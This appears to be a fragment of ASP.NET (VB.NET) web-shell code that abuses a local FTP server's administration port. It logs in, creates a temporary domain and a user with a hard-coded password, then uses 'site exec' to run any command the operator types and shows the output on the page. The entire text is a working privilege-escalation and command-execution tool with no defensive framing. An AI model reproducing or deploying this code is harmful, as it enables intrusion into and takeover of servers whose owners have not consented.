Sub BTN_Start_Click(sender As Object, e As EventArgs) Dim Usr As String = Text_Name.Text Dim pwd As String = Text_PWD.Text Dim Port As Int32 = Text_Port.Text Dim Command As String = Text_cmd.Text
'Dim client As New TcpClient Dim tcpClient As New TcpClient() Try tcpClient.Connect("127.0.0.1", port) Catch eee As Exception response.write(eee.ToString()) response.end End Try tcpClient.ReceiveBufferSize = 1024 Dim networkStream As NetworkStream = tcpClient.GetStream() Rec(networkStream) Send(networkStream, LoginUser) Rec(networkStream) Send(networkStream, LoginPass) Rec(networkStream) Send(networkStream, MAINTENANCE) Rec(networkStream) Send(networkStream, DelDomain) Rec(networkStream) Send(networkStream, NewDomain) Rec(networkStream) Send(networkStream, NewUser) Rec(networkStream) Dim tcpClient2 As New TcpClient() Try tcpClient2.Connect("127.0.0.1", 43859) Catch eee As Exception response.write(eee.ToString()) response.end End Try tcpClient2.ReceiveBufferSize = 1024 Dim networkStream2 As NetworkStream = tcpClient2.GetStream() Rec(networkStream2) Send(networkStream2, "User lake" & vbcrlf) Rec(networkStream2) Send(networkStream2, "pass admin123" & vbcrlf) Rec(networkStream2) Send(networkStream2, "site exec " & Command & vbcrlf) Rec(networkStream2) tcpClient2.Close() Send(networkStream, DelDomain) Rec(networkStream) Send(networkStream, Quit) Rec(networkStream) tcpClient.Close() End Sub
Sub Rec(o As Object) If o.CanRead Then Dim bytes(1024) As Byte o.Read(bytes, 0, 1024) Dim returndata As String = Encoding.ASCII.GetString(bytes) response.Write("out:" & returndata & "<br>") Else response.Write("What's wrong ?") End If End Sub
Sub Send(o As Object,data As String) If o.CanWrite Then Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data) o.Write(sendBytes, 0, sendBytes.Length) response.write("in: " & data & "<br>") Else response.Write("What's wrong ?") End If End Sub